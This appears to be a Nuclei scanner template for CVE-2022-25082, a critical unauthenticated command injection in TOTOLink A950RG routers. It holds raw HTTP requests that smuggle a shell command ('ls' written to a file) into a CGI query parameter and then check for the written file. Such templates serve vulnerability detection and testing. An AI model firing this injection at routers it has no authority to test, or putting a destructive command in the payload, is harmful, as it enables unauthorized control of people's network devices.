id: CVE-2022-25082

info:
  name: TOTOLink - Unauthenticated Command Injection
  author: gy741
  severity: critical
  description: |
    TOTOLink A950RG V5.9c.4050_B20190424 and V4.1.2cu.5204_B20210112 were discovered to contain a command injection vulnerability in the Main function. This vulnerability allows attackers to execute arbitrary commands via the QUERY_STRING parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/cve-2022-25082
    - https://github.com/EPhaha/IOT_vuln/blob/main/TOTOLink/A950RG/README.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-25082
    cwe-id: CWE-77
    epss-score: 0.03923
  tags: totolink,cve,cve2022,router,unauth,rce,iot
  metadata:
    max-request: 2

variables:
  cmd: "`ls>../{{randstr}}`"

http:
  - raw:
      - |
        GET /cgi-bin/downloadFlile.cgi?payload={{cmd}} HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /{{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - ".sh"
          - ".cgi"
        condition: and

      - type: word
        part: header_2
        words:
          - 'application/octet-stream'

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/11/05